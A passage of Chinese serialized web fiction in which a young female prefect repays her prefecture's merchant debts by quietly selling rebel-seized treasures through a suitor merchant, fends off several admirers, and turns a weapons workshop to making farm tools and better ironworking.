自叛军清扫之后,叶家又是头一个开船到广乐府南江县的。 不是其他船主不来,而是他正月初九就出发,时间太早了啊。 还有人说,叶山鸣赊了太多货给广乐府知府,这般着急,是急着要货款。 一百多万两的货款。 要不是叶家吃了同样扬州的徐家,家底又厚,真的要扛不住。 少数人知道,叶山鸣接到苏清的信件,便直接动身。 即便如此,看着苏清亲自来码头接他,叶山鸣还是觉得不对劲。 中午在酒楼吃饭,叶山鸣直接道:“说吧,让我来有什么事。” “好事还是坏事。” 苏清忍不住笑:“你怎么能这样说,我也太伤心了,我找你怎么可能有坏事。” 苏清道:“再说了,最近只有好事,天大的好事。” 见她如此高兴,叶山鸣反而皱眉:“哪里的好事?跟谁有关?” 这问题问的奇怪,苏清想了想道:“京城吧。” 跟京城有关的人或事。 叶山鸣试探道:“你不会要成亲了?你跟顾从斯的婚事,不是没了吗。” 这都哪跟哪。 却见叶山鸣眼神深沉,虽然转瞬即逝,但明显另有算计。 苏清轻笑:“是又如何?” 叶山鸣放下筷子,整个人靠在椅背上,说不清神色。 他刚想开口,又斟酌片刻。 一贯伶牙俐齿的叶山鸣难得语塞。 只是在苏清面前,说其他的都没有意义。 她太聪明,不如和盘托出。 “跟他成亲,实在不划算的。”叶山鸣吃了杯茶,“苏知府若是想成亲,不如考虑考虑在下。” 苏清就是想看看,叶山鸣到底什么想法。 此刻直接傻眼。 苏清一脸疑惑,叶山鸣乘胜追击:“叶家产业遍布江南京城,如今在广乐府也算不错。” “朝廷不管事,以后时局动荡也未可知。” “以我家的财力,你的本事,必然能护得家人周全。” “也能让你大展拳脚。” 两三年前,叶山鸣给出的条件,还是请苏清做广乐府分号掌柜。 如今开口,便是请她做叶家少奶奶。 叶山鸣必是叶家下一任掌权人。 而苏清,也会同管这个生意遍布全国的巨商之家。 叶山鸣说的真挚,甚至道:“不然我为什么愿意借出百万货款,还从不催促?” “苏清,我看重的不是军中买卖,也不是广乐府潜力。” “看重的,是你。” 苏清挠头。 早知道试探出来这种结果。 她就应该闭嘴的啊。 但这会解释,自己跟顾从斯真的没婚约了,又像是再给希望。 苏清忍不住道:“你不是知道,我跟顾从斯要成亲吗?这话合适吗?” 叶山鸣见她搬出这理由,反而没皮没脸道:“合适啊,别说还没成亲,即便成亲了又如何。” “苏大人还在乎这个?” 苏清无言以对。 这人比自己想象中脸皮还要厚,胆子还要大。 正好,那就很适合做接下来的买卖。 苏清不让他继续说,反而提起那一百五十万的货款:“无论对谁来说,一百多万货款还是太多了。” “我请你过来,就是谈货款的事。” 叶山鸣更加奇怪。 在他看来,即便要还钱,也要等五六月份,等广乐府药材卖完。 又或者八九月份,那时候有秋税。 现在还未出正月。 哪里来的钱。 苏清不说,只让他吃过饭,自己再带他去看情况。 苏清自然不会把他带到库房里,先请叶山鸣去后宅书房。 书房当中放着一匣子各色玉石,玉佩挂坠腰坠镯子不一而足。 叶山鸣何等眼力。 这些动辄大几千两银子的玉佩随随便便放在匣子里? 即便在他家,也要单独归置好的。 苏清见他拿起来,立刻道:“别碰坏了,不然还不了你家的货款。” “哪里来的?”叶山鸣直接拿起一枚腰坠,“白玉如酥者最贵,再带有红如血的印记,名唤血玉。更是古玉中的上品。” “民间怎么可能有。” 再看那镯子,浆水玛瑙色,里面的花纹如同松柏。 必是谁家压箱底的器物,轻易不可能拿出来见人。 叶山鸣仔细再看看,玛瑙镯子,竟有一整套完整耳坠项链,这怎么可能。 等他看完,抬头道:“叛军手里的物件?” 再想到原本在南江县的梁公公等人被召回京,叶山鸣无奈:“你胆子也太大了。” 苏清不管这话,只道:“你觉得这一匣子东西,能卖多少。” 叶山鸣粗粗估量:“东西都是好东西,但不好直接出手,必然有折损。” “差不多能卖个十万两左右。” 叶山鸣意识到什么,苏清也道:“那你敢不敢挣这份银子,卖出去给你分成。” “还能还你货款。” 这就是苏清找他来的目的。 私底下倒卖京城权贵们的私藏。 还清广乐府各项货款,更能养活军队。 京城不是不给军费吗? 那她自己拿啊。 这很合理吧! 第57章 叶山鸣几乎失声。 每次他以为,苏清胆子够大的时候,她总是再搞出些惊喜。 他也想过,苏清要如何还得上叶家跟花家的银子。 截止到现在,一家一百五十万两,另一家二百二十万两。 在他看来,若是还不上,反而最好。 他就能提出自己的要求。 嫁给叶家。 不仅欠他家的银子一笔勾销。 他还会帮忙还花家的货款。 作为商贾出身的叶山鸣,觉得这是天底下最划算的交易。 只是没想到。 苏清早就有解决之法。 “好,我拿到江南闽地一带售卖。”叶山鸣直接答应。 先不说朝廷混乱,再者叛军弄出来的财物也不止这一点。 上面根本不可能抓到把柄。 当然了,能从中牟利,也是他愿意铤而走险的原因。 苏清就知道,自己看对人了。 但口说无凭,两人私底下签契凭。 请叶山鸣帮忙售卖这些物件,分出十分之一给到叶山鸣本人云云,用于各方打点,以及他自己的报酬。 平白出来这么多东西,叶山鸣也要暗中筹划。 不过对于这些银子,苏清他们则用药谷村名贵药材做幌子。 只说苏清这边给出几个名贵方子,正好用那边的药材做药引。 而药谷村那边也已经谈妥。 村长等人,对苏大人无比信赖,自不会泄露半分。 不过这一匣子物件,也不过十万两左右,远远达不到还债的标准。 等两人商量完细则,苏清让人又搬出两箱子花瓶画作,无一不是精品。 这两箱子加起来,估价一百二十万两,加上方才的一小匣首饰。 估计能给苏清带回一百三十万。 就算这样,也还不清叶家的货款啊。 叶山鸣笑道:“这头一批,我也不抽成,给你白做工。” 说着,他甚至要提前付一部分银子。 东西还没卖出去呢。 既不要抽成,还提前给银票? 放在之前,苏清肯定要问一句为什么,还会以为他想好好合作。 但这会却罕见沉默,看着叶山鸣的五十万两银票,都没立刻接住。 叶山鸣忍不住又笑,故意靠近道:“怎么?苏知府不敢要?” 方才在酒楼里,两人之间的对话,虽被苏清刻意忽略。 此刻正是忙完,难免旧事重提。 叶山鸣跟她锱铢必较,她还能反唇相讥,再要些好处。 现在对方不仅不要好处,反而多番让利,就让她没办法了啊。 叶山鸣你能不会恢复一下? 继续跟我抢利益? 苏清沉默片刻,叶山鸣已经把银票放在桌子上,还是那句话:“你跟顾从斯没可能。” 有没有可能。 苏清已经不想再说了,只是调整好心态,直接收下那五十万两:“卖出去的银子直接抵债,买的差不多了提前跟我说。” 一百三十万两减去这五十万,剩下的八十万两全部用来抵债。 就算这样,也还欠对方四十万。 这账越算越头疼啊。 叶山鸣并未过多停留,他带着心腹核对完两箱物件后,很快便坐船离开。 让苏清等他的好消息即可。 说话间便到二月份。 苏清也该去府城了。 不过这次,苏清没让梅娘他们跟着,依旧留在南江县。 只带着云喜绿兰离开。 苏清对梅娘道:“南江县安稳,弟弟在县学读书也习惯了。” “还有梅表弟表妹,也能在这读书,我跟白大夫打过招呼,他们准备一下,过去学医即可。” 梅娘对此也没什么意见,朱婶娘也乐意的。 倒是苏三婶苏溪两人有些不知所措,不明白为什么不回府城了。 可跟着梅娘,他们也不会受委屈,故而直接应下。 不过费县令祝县丞两人,肯定要留下。 他们虽有不舍,却知道南江县的重要性,以及库房里还有二十九箱物件,需要他俩看护。 走之前,苏清问了费秀才:“今年有乡试,你要参加吗?” “若参加的话,就把差事给祝县丞。” 对此费开宇也没个主意。 都说科举是为了当官,他这也当上了。 不过现在才二月份,一切都不着急。 至于之前主持大局的田县丞,现在已经病得厉害,他日日蹲守在监牢当中,死盯着武勇王爷。 若不是有人看得牢,他又手无缚鸡之力,估计早就杀了叛军首领。 苏清看过他的情况,知道田县丞几乎疯癫。 他上次的清醒,是因为战事结束,一切恢复平静。 但依松县的再次失守,让他彻底失去理智,白大夫郝大夫他们都来看过,已经再难更改。 唯一的念想,大概就是杀了武勇王爷。 费开宇道:“若京城来要人,咱们怎么办。” 费开宇也有亲人死在叛军手中,要他说,自然是杀了武勇王爷了事。 可京城那边态度不明,只能暂时这般关押着。 苏清道:“不要让他跑了死了即可。” “京城那边有我。” 交代完这些一切,苏清才放心离开。 不对,还有去皋青州清缴余下叛军的晏总兵。 苏清只送去一封信,上面写着:“我去府城了。” 终于调到晏总兵身边当副手的连飞扬凑过来看:“苏大人的信?怎么只有这一句啊。” 他们两个通信的时候,还有来有回的! 见连飞扬对苏清口气熟稔,晏铮州道:“你们认识?” “对啊。”连飞扬立刻把他怎么跟苏清认识,怎么熟悉的,甚至连花景明都提了一嘴。 山凹村变药谷村那事,晏铮州自然知道,但连飞扬跟苏清,还有花家那个觊觎好友未婚妻的事,还是头一回听说。 苏鹤鹤。 喊的倒是亲密。 那时候就对好友未婚妻有想法。 晏铮州皱眉,不做评价。 连飞扬还嘿嘿笑:“等我回京升职,说不定能跟苏大人平起平坐。” “到时候让我祖父去提亲,苏大人不知道会不会答应。” 晏铮州眉头皱得更深:“苏知府有未婚夫。” 连飞扬毫不在意:“顾举人是吧?他爹娘是个极为迂腐的,觉得女子要三从四德,而且觉得苏知府的官做了不太久,早就想退亲了。” 连飞扬甚至认真思考:“但我认为,不管苏大人的官能做到何时,她这个人就够厉害。” “只是等她不做官,顾家肯定退亲。明年不就是会试了,等顾举人成顾进士,这婚肯定要完蛋。” 他絮絮叨叨说了许久,没想到晏总兵竟然不嫌他烦。 过了好一会,才见总兵大人看了他一眼,开口道:“如今有未婚夫,便不好夺人所爱。” 好像也是? 连飞扬不甚在意:“管他呢,顾从斯离那样远,管不着啊。” “连老将军,怎么会有你这样的孙儿。”马豪忍不住道,“哪个好人家如此觊觎别人的未婚妻啊。” 马豪话音落下,就见连飞扬跟晏总兵都沉默了。??? 他说的哪里不对吗? 连飞扬刚要反驳,就听晏总兵道:“先吃饭吧。” 晏铮州收起苏清写的信件,径直离开。 此刻的苏清,终于又回了府城。 要说广乐府府城,其实变化并不算大。 也就北郊方向的武器作坊,让这一带热闹起来。 但大家也知道,这个地方,既给本地带来太平,也带来债务。 还是一大笔巨款。 甚至如今,还在源源不断的产生负债。 打仗的时候,大家都不好说什么。 如今仗也打完了,难免有些意见。 不过这东西,是苏知府一手筹备,她一直不在府城,大家也没办法。 现在见苏清回来,三班六房的官吏,以及花家花又菱等人,都排队等着见面。 从去年四月,到今年二月初。 苏清自然也是回来过几次,但都是行色匆匆。 年底那会,甚至一家都搬回南江县。 这也是花家,以及其他各家,难免有些意见。 要不是战事紧急,估计早就不满了。 罗主簿,邬户司顶住很大压力,尤其是后者,明显成长更多。 若她爹在天有灵,估计都会夸一句,同做户司主事,女儿比她厉害的多。 苏清听着两人汇报情况,开口道:“今日休息,明日一一见面。” 确定府城没大事,她肯定要休息了。 外面众人听此,难免有些失望。 府衙官吏还好,他们知道大人最近在忙什么,更是苏清提拔上来的,肯定不会多说。 但府城其他家族,忍不住笑话起花家。 花家也有看走眼的时候。 还广乐府第一家族呢,就这样啊? 被一个女知府耍得团团转。 刚开始,大家还不敢肆意嘲笑。 但花家老大花承载率先把这事当笑话讲。 目的自然为了嘲笑花又菱跟花景明。 要知道给武器作坊供货这事,他可完全没沾手。 花又菱先让武器作坊欠了一百多万两。 花景明去的时候,又欠下一百万左右。 “就算是我家,也经不起这样败家啊。”花承载吃酒的时候笑道,“花又菱是个女的,也就算了,没见过什么世面。” “花景明既是举人,又是男子,也跟着瞎起哄。” 花承载好友哈哈大笑,引得酒楼其他人看过来:“你这三弟不是最聪明的吗?这么尽心为女知府办差,不会是看上她了吧?” “女知府不是有未婚夫吗?” 众人又笑,明显带着不屑。 你花家自己人都吐槽了,可别怪我们嘴下不留情。 花又菱跟花景明知道时,这些人已经口无遮拦,说了半个时辰。 花景明脸色难看。 倒不是因为他自己,而是牵扯到苏清。 花承载这般说,只因嫉妒他考上举人,也嫉妒他被父亲看重。 花家老二老三几乎同时找到酒楼。 都说家丑不可外扬。 这个蠢货,竟然闹到外面去。 花家丢人,对他来说有什么好处。 当然,武器作坊那二百二十万货款确实极多。 但欠都欠了,现在战事一停,就有机会慢慢还回来。 以苏知府的能力,这事并不算难。 若连这点定力都没有,花家如何做广乐府第一家族。 也难怪,他爹宁愿让二姐共同掌家,也不愿意让长子主持大局。 看到二妹三弟过来。 花承载已经喝得醉眼朦胧,直接笑道:“我们家的两个散财童子来了!” 花又菱已经习惯这位的冷嘲热讽。 花景明反而有些不适应,脸上笑意微僵,开口道:“大哥醉了,还是回家休息的好。” 其他仆从连忙上去扶住大公子,他们劝了又劝,但大公子就是不回家。 现在闹的人尽皆知,到时候最先受罚的可是他们。 而花承载见自己身边人都听花景明,当下暴怒:“老三!你还没当家呢!竟然管起你大哥了!” “我才是长子!这个家是我做做主。” “不就是考上个什么举人,不就是会读书,爹把你当宝一样!” 花景明自幼顺风顺水。 自他出生起,便是爹娘疼爱,家庭顺遂。 即使大哥二姐的事,也没打扰过他。 尤其是他读书天赋初显,家里一切都为他让路。 这种当面叫骂的场面,他还未经历过。 今年不过二十一的花景明,头一回被大哥指着鼻子骂。 反而是花又菱早就习惯,冷声道:“大少爷醉了,你们还没看出来?” 花景明朝身边人点头,让他们把大哥带回去。 越是这样,那花承载越是闹事。 眼看酒楼围观的人越来越多,不出意外的话,他们花家三人的“戏码”,很快就成为府城人的谈资。 花老爷知道这事,怕是要被气死。 花景明还要再说,就看到大哥怨毒的眼神,让他止住脚步。 这是故意的。 就是要让他跟二姐名声扫地。 好夺花家的家产。 毕竟现在看起来,确实是他们的问题,二百多万的外债收不回来。 “好热闹啊。” 一个声音忽然从背后响起。 “好久没回府城,还有这种热闹看。” 花景明下意识回头,说话之人,果然是苏清苏知府。 苏清并未穿官服,但她的模样许多人都见过,再说她身上那身气势,就不是普通人能有的。 “见过知府大人。” “见过苏知府。” “大人多谢您在前线负责后勤,否则广乐府不知要打到什么时候。” “我家侄儿就在军中,还在南江县养过伤,实在太谢谢您了。” 酒楼看热闹的人立刻像苏清行礼。 即使她不过二十,还是个女子。 但众人脸上的恭敬做不得假。 换了其他人在这位置上,绝对不会有她做的更好。 尤其对比其他地方。 越聪明的人,越知道她有多重要。 酒楼老板掌柜大厨都挤过来,生怕大家凑得太近,让知府大人不高兴了。 苏清身后的云喜绿兰两人,表情则格外严肃。 长随都这般与众不同。 何况知府本人! 苏清走到花景明花又菱身边,跟周围人稍稍点头,对两人道:“好巧,在这碰到两位。” “本想明日请二位到衙门说话,倒是提前遇到了。” 花景明眨眨眼:“是啊,好巧。” 见苏清笑,花景明花又菱等人怎么不明白。 哪里是巧,分明是知道这里有事,专门过来的。 毕竟这酒楼距离府衙,也就几步的工夫。 苏清并未多看花承载,只是对花家其他两人道:“武器作坊那边,多亏两位帮忙,否则也不会有广乐府如今的太平日子。” “我跟晏总兵都很感谢你们。” 苏清并未提花家,只说这两位。 想让没带上花承载。 花承载本就是借酒装疯,此刻有些急了。 但苏清甚至继续道:“择日不如撞日,今晚就请两位吃顿饭,如何?” 知府请他们两个吃饭,这哪有不答应的啊。 酒楼老板甚至道:“哪能让知府大人破费,小的这里全包了。” 苏清笑道:“哎,府衙虽然欠债颇多,但最近也算有所缓和,这点银子还是有的。” 欠债颇多。 大家都知道。 有所缓和指的是? 云喜哼笑:“我们南江县的药材买卖,还能挣不来银钱啊。” 此言一出,众人恍然大悟。 等会。 若是这样,那花家的货款? 苏知府却不给他们这个机会,已经带着花又菱花景明进了包厢。 苏知府可不是个夸口的人。 她身边的人都这么说,那就是挣来货款了? 她这会过来,难道是给货款的? 不少人偷偷看向满脸通红的花家老大。 刚刚嘲讽弟弟妹妹有多大声,此刻就有多难堪。 本以为抓住两人没有眼光疏漏,可以狠狠踩他们一脚。 却没想到知府亲自给两人解围不说,还准备把货款还了。 这样一闹。 丢人的到底是谁,已然不言而喻。 听着周围人小声议论,花承载刚要发火,就见家里管家过来,脸色阴沉道:“大少爷,老爷请您回家醒醒酒。” 管家轻易不做这种传话的活。 他亲自过来,必是花老爷已经知道,还发了怒火。 花承载只能恨恨跟着离开。 管家却没跟着走,而是赶紧去苏知府的包厢里打招呼。 而管家出了包厢,脸上半红半绿,十分精彩。 “怎么了?苏知府说你了?”有相熟的人问道。 管家摆摆手。 说他一顿,反而好了。 这事反正也不是秘密,管家开口道:“苏知府给了货款。” “五十万两的银票!” 多少?! 五十万两?! 苏知府哪来的银子啊。 等会,她从南江县回来。 那边有药材交易中心。 再听说,那边的药谷村长出几株名贵药材,卖得格外好。 怪不得都说苏知府生财有道。 确实如此啊。 要说府衙开始给货款了,这原本是好事。 可让花承载这么一闹,两边难免起冲突。 还好花家二小姐三公子有些理智。 否则这节骨眼上,花家跟府衙闹翻,那也太亏了。 就跟挖矿一样。 前面辛辛苦苦做事,就差临门一脚。 岂不是前面的辛苦都白费了? 难怪管家脸色难看啊。 好好的一件事,差点搅黄了。 对花家大少爷的讨论暂且不说。 花老爷会如何惩罚,更不用讲。 包厢里面,则是其乐融融。 花又菱难得有笑容。 花景明则目光明亮地盯着苏清。 他头一次被当众指责。 也是头一次有人把他从这场面救出来,甚至直接扭转局面。 苏清还解释:“本来想明日再给你们,没想到闹得这样大。” 绿兰道:“苏姐姐刚睡着,又被喊起来的。” “是啊,你们也知道,苏姐姐今日上午才到的,还处理府衙公务。”云喜故作无奈,“没想到你家大少爷一会都等不得。” 花又菱跟花景明自然无奈。 花景明又多了几分心疼,开口道:“要不然你先回去休息,咱们明日再说。” “都起来了,让我吃个晚饭?”苏清笑,“但是不喝酒,就踏踏实实吃顿饭。” 这自然没问题。 不过花景明自己吃了些酒,度数不高,纯属他今日高兴。 吃过晚饭,苏清先回衙门休息,留下五十万两银票,正是叶山鸣预付款。 现在两箱子财物送出去。 叶家一百五十万的外债,还剩七十万。 花家二百二十万,则有一百七十万。 虽说距离还清所有欠款,还有些距离。 但只要还了,一切都好说。 花景明没碰银票,只让给二姐。 花又菱对此并不客气,给武器作坊供料的作坊,多都在广右县,她急需这些银子填补。 说起来他们姐弟俩交流并不多。 一个因为之前的旧怨。 花又菱不可能对花景明生母释怀。 另一个两人相差八岁,而且自幼没有生活在一起,并不算熟悉。 但好歹是同父异母的姐弟,又有武器作坊这层缘故,花又菱提醒道:“苏大人有未婚夫。” “她未婚夫还是你好友。” 花又菱自然见过顾从斯,那也不是个好相与的。 人家在京城颇得圣心,花家不要招惹这样的麻烦。 花景明并不意外二姐看出他的想法。 事实上,他今日表情外露到他自己都发现了。 “他们已经退婚了。”花景明直接道,“二姐应该听说过。” 谁料花又菱却笑:“顾举人会放手?” 若是真的放手,顾举人在京城就该成亲了。 以他的名声才气,找个好岳家并不难。 现在迟迟不吭声,甚至连所谓退婚的消息,都藏着掖着,这对吗? 而且苏知府这样的女子,太难得了。 谁会放手? 若她是男子,必然要死皮赖脸缠着的。 如今不提,只是人家知道时机未到。 花又菱言尽于此,拿着银票离开。 留下花景明继续吃酒,低声道:“我也不会。” 即使是好友的未婚妻。 他也不会放手。 苏清回到府衙倒头就睡。 明天还有很多事情要忙,哪有工夫想别的。 正逢春耕,今年广乐府必要多多种田,多多耕地。 什么财宝都是虚的。 有粮有武器。 才能让广乐府,乃至皋青州安稳太平。 第58章 苏清还了一部分货款这件事,让府城为之一振。 虽说没有还完吧。 但至少给了大家希望? 反正花老爷的眉头,已经舒展开了。 家里虽然出了个蠢货,可二女儿小儿子却是极好的。 现在谁人不知,他们花家跟知府关系极好啊。 想到这,对花家之前的嘲笑,自然烟消云散。 不过让人意外的,花家小儿子花景明功成身退,竟然又把跟武器作坊有关的事,重新交还给他同父异母的二姐。 花景明自己则闭关读书,说是为明年会试努力。 这让花老爷更加高兴。 他们家在广乐府有钱有地位,但一直没出过什么大官。 若能更进一步,谁又不愿意呢。 花家的情况被大家看在眼中,谁家不羡慕。 来拜见苏知府的人,自然更多了。 永晟五年,二月初七。 苏清在府衙明间里见人,先是府衙各官吏,然后是府城其他大户乡绅。 府学等人不用多说,自然也在其中。 还有府城附近其他各县县令,连忙赶过来拜见。 苏清所问之事,多是府衙公务。 然后就是各地人口,田地等等。 广乐府一城十七县,相比去年,人口田地都有所增加。 这点并不难猜。 毕竟外面乱成什么样,大家心里都有数。 反观打仗的广乐府,竟然很适合普通人居住,也是很多人没想到。 可以说周围几个州府,至今都有搬至广乐府的。 各县对此都有统计的。 只要是好好做事的,按照苏清的意思,全都帮忙安家。 去年这会,经统计,整个广乐府大约有三十万顷耕地。 今年再统计,便涨到三十六万顷。 既有人员增加的原因,也有本地人开耕的作用。 乱世耕地面积减少。 日子安稳,耕地面积就会增加,这几乎是铁律了。 苏清让底下务必细细统计。 务必让本府粮食,可以自给自足。 当然,这个自给自足里,也包含十二万驻军。 幸好今年不打仗,驻军自己已经开耕屯田,可以负担一部分口粮。 要说已经打完仗了,那十二万驻军应该会慢慢削减。 但朝廷那边不吭声,苏清这边也没这个想法。 不过晏总兵那边已经下令,让士兵们轮番回乡探亲,好见见家人。 反正晏总兵在这,苏清不用多关注军队的事,继续安排好后勤即可。 但耕地面积增加,人员增加,自然而然出现其他问题。 比如本地种子青苗价格上涨。 耕牛农具,甚至建筑材料,都有所涨幅。 苏清点头道:“听说山阳府牛价便宜,户司跟礼司去函问问,若批量购买,能不能便宜点。” “对了,农具的事,让大家不要着急,工司江主事,已经去武器作坊寻窦工匠了。” 买牛这事,众人还能理解。 官府出面,抑制牛价。 农具呢? 邬户司先道:“武器作坊那边几乎停工,不做武器,转做农具?” 这倒是个好方法。 武器要用铁要用皮革用好木头。 农具也要啊。 这样一来,原本几乎停产的武器作坊,摇身一变成为农具作坊。 确实可行的。 窦工匠跟江工司那边拿好主意,本想去其他地方,寻些农具匠人。 谁料王学政的好友,就是自称墨家传人的弓夫子毛遂自荐。 他跟他的弟子们,对农具颇有研究。 让他们试试呗? 在众人傻眼时,弓夫子等人已经上手。 不少人发现。 广乐府如今做什么事,都万分顺利啊。 说开耕田地,就有人来。 说耕牛农具不够,既能从外面买,还能自己造。 就连人才方面都不用着急。 自广乐府府学广招人才后,这一年的时间里,不知有多少人前去投奔。 要说府学里面,其他学说的子弟,甚至已经超过儒学生。 这当然跟苏清本人有关。 她对正统科举一向不怎么在意,对墨家法家甚至兵家人才,却多番照顾。 时间久了,留下来的人,自然是符合知府心意的。 都说上行下效。 放在广乐府,也是如此。 苏清听了,却觉得冤枉啊。 尤其是花景明来问的时候,她直接道:“如今府学的儒学生,还占了三分之一,这能叫排挤吗?” “原本占九成,现在占三成,不过是平衡平衡,怎么就排挤了。” “真排挤,就该一个也没有。” 当然了,苏清也不是那么极端的人。 不管什么学说,都可以取其精华去其糟粕啊。 这又不是非此即彼的事。 花景明放心了。 天知道,他刚刚说什么,自己要闭关读书,还请了名儒夫子,就听到外面种种传言。 所以第一时间就来找苏鹤鹤。 苏清正要去武器作坊,没时间陪花景明多聊,顺口道:“我要去看看农具生产情况,你要一起吗?” 以前生产武器的时候,花景明都去过。 现在造农具,就更能去了。 不过她以为花景明还要回去读书,不会跟着,谁料就听对方道:“好啊,走吧。” 苏清看了看他,心里稍稍有些怪异,莫名想到她娘的话。 苏清赶紧摇头,这都哪跟哪。 去武器作坊的时候,苏清还想到,如今这块地,还是花景明跟叶山鸣帮她找的。 那会这里荒凉的很,自己还嫌弃这里道路不好。 一两年过去,道路修的平整宽阔,道路两边盖起民居,多在在作坊做工的伙计等人居住。 还有些小商贩蹲坐在路边,等着过往行人买汤饭果子吃。 本来以为战事结束,此刻会重回凄凉。 没想到武器作坊摇身一变,开始生产农具,让伙计小贩们都很惊喜。 更惊喜的,肯定是窦工匠以及如今的蒋管事。 本以为自己都要失业了。 苏知府一句话,又让他们有了新营生。 肉眼可见的。 不管什么时候,农具肯定不缺销路。 蒋管事跟窦工匠在门口迎苏知府,就见苏知府跟花家三少爷携手而来。 那花景明,不会是要来账的吧? 他们可没有啊。 就算还钱,也要农具卖出才行! 等两人走近了,才听到花景明道:“你也教教我为官之道,否则等我考上进士,做了官,岂不是睁眼瞎。” 苏清只当开玩笑,只道:“好啊,那你是不是要叫我夫子?” 夫子? 花景明肯定不叫的:“别啊,我喊你苏鹤鹤,怎么能换称呼。” 蒋管事窦工匠对视一眼。 啊? 不过两人很快把这事抛开,带着苏知府等人来到一处崭新的院子。 “去年年底接到您的信件,就着手修整了此处革新院。”蒋管事道,“也是江大人亲自督建,您看看看是否满意。” 革新院。 听名字就大概知道是做什么的。 用现代的话,大概叫设计院。 不过去年那会,大家以为苏大人要设计新武器。 现在知道了,这里是为了改进农具。 其实不管冷兵器还是普通农具。 发展到现在,已经趋向成熟。 要说有所改变,那就是农具也要因地制宜,设计出的犁,锄头,镰刀等物,更符合本地地形跟土壤。 现在革新院里,已经有了弓夫子跟他五个弟子。 作为王学政的好友,弓夫子还是有真才实学的,不过他只考中秀才,之后再功名上再无寸进。 来广乐府也是时事造就。 不过广乐府的安稳,让弓夫子喜忧参半。 喜的是,全家包括弟子们,都有饭吃。 忧的是,自己这一腔抱负不知道在哪里施展。 说实话,他其实并不想设计农具,更多的是参与武器制造。 可打仗那会,苏知府决不允许外人进入。 用知府的话说,武器制造要的是稳,要结实耐用。 就算设计了新武器,也没有多少士兵会用,将士们操练起来也困难。 临阵换武器,反而不好。 窦工匠一个劲点头。 也是那会,他彻底服了这个女知府。 没有那种想一出是一处的上司,是真好啊。 设计新武器是不成的。 改进农具,却可以放他们进来。 而且革新院跟窦工匠的武器院隔了很远,确保两边不被打扰。 苏清看了看弓夫子改进的新农具,别的没有说什么,只问什么时候能上市,再问了具体的情况。 得知三月初就能造出来一批,苏清也就放心了。 只要广乐府能造农具,外面那些货商就不敢喊高价。 反正本地百姓只要等等,就能买到物美价廉的东西。 谁还买外面的高价货? 苏清临走之前,却抛出最后一个问题。 也是她这次来的目的。 “总觉得如今的炼铁技术效率太低,若有办法提高生产效率就好了。” 炼铁技术? 这项技术,无论是造武器还是造农具,全都用的上。 如果能把这项技术改进了。 那无论造什么,他们都游刃有余。 苏清抛出这个问题,并未直接给答案,而是让大家先研究。 倒不是她藏着掖着。 更多是,是趁这个机会,考察这两位的决心。 窦工匠还好,他保密能力不容置疑。 那弓夫子的想法,反而要再斟酌。 苏清要考察是,是两人对提高炼钢效率这事,上不上心。 若上心,那一个名垂青史的机会,就放在他们眼前。 不上心,肯定要换其他人。 没错,只要两人认真钻研,苏清就把初高中学到的蒸汽机原理拿出来。 对于专业的人来说,只要知晓原理,再给他们足够的费用,是一定能研究出来的。 利用蒸汽机来炼钢,到时候别说整个广乐府的农具武器,就算供应全国,也供应得上。 苏清并不表露出来,只是暗暗观察众人表情。 蒋管事还不知道,武器作坊会迎来什么样的巨变。 不过对他来说,现在改做农具,就让他很高兴了。 管它外面打不打仗。 农具在什么时候,都有销路的。 武器不能赚钱。 农具可以啊。 说不定就能还上他们作坊的外债了! 说起来,他当了那么多管事。 头一次手底下的作坊只出不进。 原材料是不给货款的,他们这些人的月俸,也是纯支出。 每次去户司要钱,他都一阵头疼啊。 对蒋管事来说,他现在满脑子,都是如何扭亏为盈啊。 苏清看着弓夫子跟窦工匠陷入沉思。 蒋管事满脸活跃。 行吧,至少大家目标一样? 苏清对蒋管事道:“若有什么问题,可以随时来衙门找我。” 花景明在一旁看着,目光基本只停留在苏清身上。 苏清跟花景明离开。 武器作坊里,先是蒋管事开口:“那个,怎么提高炼铁的效率啊,有没有什么好方法。” “窦工匠,你可是老工匠了,有办法吗?” “弓夫子,咱们虽然刚认识没多久,却也知道您是墨家传人,有没有什么法子啊。” 在蒋管事催促下,窦工匠弓夫子有点不耐烦。 用的着你催吗? 我们不想提高效率吗? 这不是没办法啊。 蒋管事听此,反而放心了。 随后又开始催两人想办法。 好在常规的农具生产顺利,很快就能有盈利。 可惜的是,知府不让他们卖的太贵,说这是给百姓们种田用的,不补贴就算了,还卖高价,岂不是亏良心。 出身农户的蒋管事没说什么。 当了十多年管事,竟然把当年做农夫的苦都给忘了。 要是他小时候,地方上官员是苏大人的话。 他家也不会卖田地,更不会把他送去当学徒,每日被打骂吧? 蒋管事叹口气,老老实实把农具价格调低。 赚钱这种事,还是再等等吧。 而府城,乃至其他各县百姓,本来还在为农具耕牛的事发愁。 等苏知府一回来,就立刻告诉大家。 不用愁。 也不用买其他地方高价农具。 他们府城自己做,而且价格不高,等三月初就有了。 此言一出,那些高价卖农具的商贩们傻眼了。 如今各地都乱得很,也就广乐府开耕农田,就他们这里买农具的人多。 所以大家心照不宣地涨价。 本来以为趁乱赚一波钱。 谁知道是这样啊。 而那些高价买了农具的,自然心里不服,直接告到衙门。 让贩子们心碎的是。 各地衙门竟然接到上面命令。 倘若农具卖家太高,允许农户退钱。 别说继续挣了,之前挣的也要吐出来。 想在广乐府百姓身上挣到快钱? 苏知府绝对不允许。 各地县衙接到命令,自然照办,也不听你们什么哭诉,什么路途遥远,路费太贵。 这种趁着春耕之前,故意坑人的,难道不应该严惩? 留给贩子们的选择。 要么带着东西离开,要么按照正常价格售卖手头农具。 多数人只好选择后者。 毕竟按照正常价格卖东西,只是少赚。 不卖的话,就会血本无归。 此事传出广乐府,让各地意外的是。 更多普通百姓奔向广乐府各地。 百姓们又不傻。 谁对他们好,难道还看不出来? 既然这边日子过不下去了,不如去其他地方闯闯。 至少在广乐府,不会被这些低买高卖的贩子们欺负。 别说普通百姓了,甚至有些人家的奴仆,都卷带财物跑路。 为什么跑? 肯定是主人家不够好啊。 谁想当奴仆谁是傻子。 不管外面如何变化,反正广乐府佁然不动。 至于江南那边的事,跟他们更无关联。 再说,那边的事还是秘密进行。 若无身家,别说接触了,甚至听都没听说过。 江南金陵扬州苏州徽州等地。 有名有姓的人家,全都关起门讨论市面上突然出现的宝物。 不管是玉石还是瓷器,又或者字画。 全都是万中无一的。 即使以他们的眼力,都看得挪不开眼。 对于这些东西的来历。 大家略略有猜测。 多半是叛军从京城夹带出来的。 那做工,那器型,那品质。 岂是凡夫俗子能有的? 放在以前,或许还有胆小的不敢买回来。 但如今不一样。 自打皇上来过金陵,他们多多少少也接触过。 所谓尊贵的皇权,也没有那么神秘高贵。 